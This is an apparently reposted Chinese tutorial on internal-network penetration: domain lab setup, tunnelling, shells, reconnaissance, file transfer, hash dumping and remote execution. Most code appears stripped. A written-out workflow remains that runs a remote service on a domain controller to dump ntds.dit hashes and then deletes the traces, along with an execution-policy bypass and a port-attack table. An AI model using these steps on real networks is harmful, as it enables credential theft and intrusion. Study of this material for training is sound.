黑客技术
点击放大


Team:Syclover
Author:L3m0n
Email:
[TOC]
###域环境搭建
准备:
DC: win2008
DM: win2003
DM: winxp
***
win2008(域控)
1、修改计算机名:

2、配置固定ip:
其中网关设置错误,应该为192.168.206.2,开始默认的网管

3、服务器管理器---角色:

4、配置域服务:
dos下面输入dcpromo

Ps:这里可能会因为本地administrator的密码规则不合要求,导致安装失败,改一个强密码
5、设置林根域:
林就是在多域情况下形成的森林,根表示基础,其他在此根部衍生
具体见:

6、域数据存放的地址

***
win2003、winxp和08配置差不多
注意点是:
1、配置网络
dns server应该为主域控ip地址

2、加入域控

***
域已经搭建完成,主域控会生成一个krbtgt账号
他是Windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份认证

参考:
AD域环境的搭建 基于Server 2008 R2
Acit 域环境的搭建
###端口转发&&边界代理
此类工具很多,测试一两个经典的。
#####端口转发
1、windows
lcx
netsh
只支持tcp协议

更加详细参考:
2、linux
portmap

iptables
#####socket代理
xsocks
1、windows

进行代理后,在windows下推荐使用Proxifier进行socket连接,规则自己定义

2、linux
进行代理后,推荐使用proxychains进行socket连接
kali下的配置文件:
/etc/proxychains.conf
添加一条:socks5 127.0.0.1 8888
然后在命令前加proxychains就进行了代理

#####神器推荐
跨平台+端口转发+socket代理结合体!darksn0w师傅的推荐。
ew_port_socket.zip
#####基于http的转发与socket代理(低权限下的渗透)
如果目标是在dmz里面,数据除了web其他出不来,便可以利用http进行
1、端口转发
tunna
具体参考:
2、socks代理
reGeorg

#####ssh通道
1、端口转发
2、socks

参考redrain大牛的文章:
###获取shell
#####常规shell反弹
几个常用:
各种语言一句话反弹shell:
#####突破防火墙的imcp_shell反弹
有时候防火墙可能对tcp进行来处理,然而对imcp并没有做限制的时候,就可以来一波~
kali运行(其中的ip地址填写为目标地址win03):

win03运行:
可以看到icmp进行通信的

#####Shell反弹不出的时候
主要针对:本机kali不是外网或者目标在dmz里面反弹不出shell,可以通过这种直连shell然后再通过http的端口转发到本地的metasploit

参考的文章:
#####正向shell
###信息收集(结构分析)
#####基本命令
1、获取当前组的计算机名(一般remark有Dc可能是域控):
2、查看所有域
3、从计算机名获取ipv4地址
Ps:如果计算机名很多的时候,可以利用bat批量ping获取ip

***
以下执行命令时候会发送到域控查询,如果渗透的机器不是域用户权限,则会报错
4、查看域中的用户名
5、查询域组名称
6、查询域管理员
7、添加域管理员账号
8、查看当前计算机名,全名,用户名,系统版本,工作站域,登陆域
9、查看域控制器(多域控制器的时候,而且只能用在域控制器上)
10、查询所有计算机名称
11、net命令
12、跟踪路由
***
#####定位域控
1、查看域时间及域服务器的名字
2、
3、通过ipconfig配置查找dns地址
4、查询域控
***
#####端口收集
端口方面的攻防需要花费的时间太多,引用一篇非常赞的端口总结文章
| 端口号 | 端口说明 | 攻击技巧 |
|--------|--------|--------|
|21/22/69 |ftp/tftp:文件传输协议 |爆破\嗅探\溢出\后门|
|22 |ssh:远程连接 |爆破OpenSSH;28个退格|
|23 |telnet:远程连接 |爆破\嗅探|
|25 |smtp:邮件服务 |邮件伪造|
|53 |DNS:域名系统 |DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙|
|67/68 |dhcp |劫持\欺骗|
|110 |pop3 |爆破|
|139 |samba |爆破\未授权访问\远程代码执行|
|143 |imap |爆破|
|161 |snmp |爆破|
|389 |ldap |注入攻击\未授权访问|
|512/513/514 |linux r|直接使用rlogin|
|873 |rsync |未授权访问|
|1080 |socket |爆破:进行内网渗透|
|1352 |lotus |爆破:弱口令\信息泄漏:源代码|
|1433 |mssql |爆破:使用系统用户登录\注入攻击|
|1521 |oracle |爆破:TNS\注入攻击|
|2049 |nfs |配置不当|
|2181 |zookeeper |未授权访问|
|3306 |mysql |爆破\拒绝服务\注入|
|3389 |rdp |爆破\Shift后门|
|4848 |glassfish |爆破:控制台弱口令\认证绕过|
|5000 |sybase/DB2 |爆破\注入|
|5432 |postgresql |缓冲区溢出\注入攻击\爆破:弱口令|
|5632 |pcanywhere |拒绝服务\代码执行|
|5900 |vnc |爆破:弱口令\认证绕过|
|6379 |redis |未授权访问\爆破:弱口令|
|7001 |weblogic |Java反序列化\控制台弱口令\控制台部署webshell|
|80/443/8080 |web |常见web攻击\控制台爆破\对应服务器版本漏洞|
|8069 |zabbix |远程命令执行|
|9090 |websphere控制台 |爆破:控制台弱口令\Java反序列|
|9200/9300 |elasticsearch |远程代码执行|
|11211 |memcacache |未授权访问|
|27017 |mongodb |爆破\未授权访问|
引用:
wooyun也有讨论:
对于端口也就是一个服务的利用,上文也只是大概的讲述,一些常见的详细利用与防御可以看看:
#####扫描分析
1、nbtscan
获取mac地址:
获取计算机名\分析dc\是否开放共享

其中信息:
SHARING 表示开放来共享,
DC 表示可能是域控,或者是辅助域控
U=user 猜测此计算机登陆名
IIS 表示运行来web80
EXCHANGE Microsoft Exchange服务
NOTES Lotus Notes服务
2、WinScanX
需要登录账号能够获取目标很详细的内容。其中还有snmp获取,windows密码猜解(但是容易被杀,nishang中也实现出一个类似的信息获取/Gather/Get-Information.ps1)

3、端口扫描
InsightScan
proxy_socket后,直接
###内网文件传输
#####windows下文件传输
1、powershell文件下载
powershell突破限制执行:powershell -ExecutionPolicy Bypass -File .\1.ps1
2、vbs脚本文件下载
下载执行:
3、bitsadmin
win03测试没有,win08有
4、文件共享
映射了一个,结果没有权限写
5、使用telnet接收数据
6、hta
保存为.hta文件后运行
#####linux下文件传输
1、perl脚本文件下载
kali下测试成功,centos5.5下,由于没有LWP::Simple这个,导致下载失败
2、python文件下载
3、ruby文件下载
centos5.5没有ruby环境
4、wget文件下载
5、一边tar一边ssh上传
6、利用dns传输数据
但是有时候会因为没找到而导致数据重复,对数据分析有点影响

#####其他传输方式
1、php脚本文件下载
2、ftp文件下载
3、nc文件传输
4、使用SMB传送文件
本地linux的smb环境配置
下载端

#####文件编译
1、powershell将exe转为txt,再txt转为exe
nishang中的小脚本,测试一下将nc.exe转化为nc.txt再转化为nc1.exe
ExetoText.ps1
TexttoExe.ps1

2、csc.exe编译源码
csc.exe在C:\Windows\Microsoft.NET\Framework\的各种版本之下

3、debug程序
hex功能能将hex文件转换为exe文件(win08_x64没有这个,win03_x32有,听说是x32才有这个)

思路:
1. 把需要上传的exe转换成十六进制hex的形式
2. 通过echo命令将hex代码写入文件(echo也是有长度限制的)
3. 使用debug功能将hex代码还原出exe文件

将ncc.txt的内容一条一条的在cmd下面执行,最后可以获取到123.hex、1.dll、nc.exe
exe2bat不支持大于64kb的文件
***
###hash抓取
#####hash简介
windows hash:
| | 2000 | xp| 2003 | Vista | win7 | 2008 | 2012 |
|--------|
| LM | √ | √ | √ |
| NTLM | √ | √ | √ | √ | √ | √ | √|
前面三个,当密码超过14位时候会采用NTLM加密
test:1003:E52CAC67419A9AA852F61:67A54E1C9058FCA16498061B96863248:::
前一部分是LM Hash,后一部分是NTLM Hash
当LM Hash是AAD3B435B51404EEAAD3B435B51404EE
这表示空密码或者是未使用LM_HASH
Hash一般存储在两个地方:
SAM文件,存储在本机 对应本地用户
NTDS.DIT文件,存储在域控上 对应域用户
#####本机hash+明文抓取
1、Get-PassHashes.ps1

2、导注册表+本地分析
Win2000和XP需要先提到SYSTEM,03开始直接可以reg save
导出的文件大,效率低,但是安全(测试的时候和QuarkPwDump抓取的hash不一致)

3、QuarkPwDump

4、getpass本地账户明文抓取
闪电小子根据mimikatz写的一个内存获取明文密码

#####win8+win2012明文抓取
修改一个注册表就可以抓取了
测试失败
工具:
文章地址:
***
域用户hash抓取
#####mimikatz
只能抓取登陆过的用户hash,无法抓取所有用户,需要免杀
1、本机测试直接获取内存中的明文密码

2、非交互式抓明文密码(webshell中)
3、powershell加载mimikatz抓取密码
4、ProcDump + Mimikatz本地分析
文件会比较大,低效,但是安全(绕过杀软)
ps:mimikatz的平台(platform)要与进行dump的系统(source dump)兼容(比如dowm了08的,本地就要用08系统来分析)

#####ntds.dit的导出+QuarkPwDump读取分析
无法抓取所有用户,需要免杀
这个方法分为两步:
第一步是利用工具导出ntds.dit
第二步是利用QuarkPwDump去分析hash
1、ntds.dit的导出
1. ntdsutil win2008开始DC中自带的工具
>a.交互式
>

>
>做完后unmount然后需要再delet一下
>

>
>b.非交互
>

>
2. 微软的卷影拷贝工具
>
>其中%ComSpec%是cmd的绝对路径,它在建立卷影后会启动一个程序,只有这个程序才能卷影进行操作,其他不能,比如这里就是用cmd.exe来的
>最后exit一下
>

2、QuarkPwDump分析
1. 在线提取
2. 离线提取
需要两个文件 ntds.dit 和 system.hiv
其中system.hiv可通过reg save hklm\system system.hiv获取

3、实战中hash导出流程
>1.建立ipc$连接
>net use \\DC1\c$ password /user:username
>2.复制文件到DC
>copy .\* \\DC1\windows\tasks
>3.sc建立远程服务启动程序
>sc \\DC1 create backupntds binPath= "cmd /c start c:\windows\tasks\shadowcopy.bat" type= share start= auto error= ignore DisplayName= BackupNTDS
>4.启动服务
>sc \\DC1 start backupntds
>5.删除服务
>sc \\DC1 delete backupntds
>6.讲hash转移到本地
>move \\DC1\c$\windows\tasks\hash.txt .
>7.删除记录文件
>del \\DC1\c$\windows\tasks\ntds.dit \\DC1\c$\windows\tasks\QuarksPwDump.exe \\DC1\c$\windows\tasks\shadowcopy.bat \\DC1\c$\windows\tasks\.exe

注意的两点是:
a.WORK_PATH和你拷贝的地方要相同

b.附件中的QuarkPwDump在win08上面运行报错,另外修改版可以,所以实战前还是要测试一下
#####.vbs + libesedb + NtdsXtract
上面的QuarkPwDump是在win上面分析ntds.dit,这个是linux上面的离线分析
优点是能获取全部的用户,不用免杀,但是数据特别大,效率低,另外用.vbs复制出来的ntds.dit数据库无法使用QuarksPwDump.exe读取
hash导出:
最后需要copy出system和ntds.dit两个文件


记得一定要delete快照!!!
本地环境搭建+分析:

#####ntdsdump
laterain的推荐:
是zcgonvh大牛根据quarkspwdump修改的,=。=,没找到和QuarkPwDump那个修改版的区别
获取ntds.dit和system.hiv之后(不用利用那个vbs导出,好像并不能分析出来)

#####利用powershell(DSInternals)分析hash
查看powershell版本:
Windows Server 2008 R2默认环境下PowerShell版本2.0,应该升级到3.0版本以上,需要.NET Framework 4.0
需要文件:
执行命令:

这个只是离线分析了ntds.dit文件,其实也可以在线操作,=。=,不过感觉实战中遇到的会比较少,毕竟现在主流是win08为域控(以后这个倒不失为一个好方法)
更多详情参考三好学生大牛的文章:
***
###远程连接&&执行程序
#####at&schtasks
需要开启Task Scheduler服务
经典流程:
其他命令:
at过去后如果找不到网络路径,则判断是目标主机已禁用Task Scheduler服务
#####psexec
第一次运行会弹框,输入–accepteula这个参数就可以绕过

另外两个比较重要的参数
另外学习一波pstools的一些运用:
如果出现找不到网络名,判断目标主机已禁用ADMIN$共享
#####wmic
net use后:

ps:
如果出现User credentials cannot be used for local connections,应该是调用了calc.exe权限不够的问题
如果出现Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用
#####wmiexec.vbs

wmi只是创建进程,没办法去判断一个进程是否执行完成(比如ping),这样就导致wmi.dll删除不成,下一次又是被占用,这时候修改一下vbs里面的名字就好:Const FileName = "wmi1.dll",也可以加入-persist参数(后台运行)
另外有一个uac问题
非域用户登陆到win08和2012中,只有administrator可以登陆成功,其他管理员账号会出现WMIEXEC ERROR: Access is denied
需要在win08或者2012上面执行,然后才可以连接:

想更详细了解的可以看看:
#####smbexec
这个可以根据其他共享(c$、ipc$)来获取一个cmd

#####powershell remoting
感觉实质上还是操作wmi实现的一个执行程序
#####SC创建服务执行
一定要注意的是binpath这些设置的后面是有一个空格的
#####schtasks
schtasks计划任务远程运行
验证失败:win03连到08,xp连到08,xp连到03(但是并没有真正的成功执行,不知道是不是有姿势错了)

更多用法:
#####SMB+MOF || DLL Hijacks
其实这个思路一般都有用到的,比如在mof提权(上传mof文件到c:/windows/system32/wbem/mof/mof.mof)中,lpk_dll劫持
不过测试添加账号成功...执行文件缺失败了
#####PTH + compmgmt.msc

开发语言:未知
Star 数:3035
该项目属于黑客技术方向的开源资源,代码结构清晰,适合安全研究人员学习参考。项目围绕从零开始内网渗透学习展开,提供了可运行的实现,对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。
从技术实现角度看,此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论,梳理项目的初始化流程、核心模块职责与数据流转,逐步掌握其中的技术细节与设计思路。
1. 下载源码压缩包,解压到本地环境。
2. 根据项目类型准备对应的运行环境与依赖。
3. 按照 README 中的步骤完成配置与部署。
4. 在隔离的测试环境中运行验证,避免影响生产系统。
本资源来源于开源社区,仅供安全研究、技术学习与合法授权范围内的攻防演练使用,请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。
| 资源标题 | pentest_study - 从零开始内网渗透学习 |
| 所属分类 | 黑客技术 |
| 发布作者 | admin |
| 发布时间 | 2026-10-05 22:04:22 |
| 下载权限 | 免费下载 |
| 附件数量 | 2 个下载链接 |
| 浏览次数 | 413 |
| 讨论数量 | 0 |
| 主题状态 | 正常讨论中 |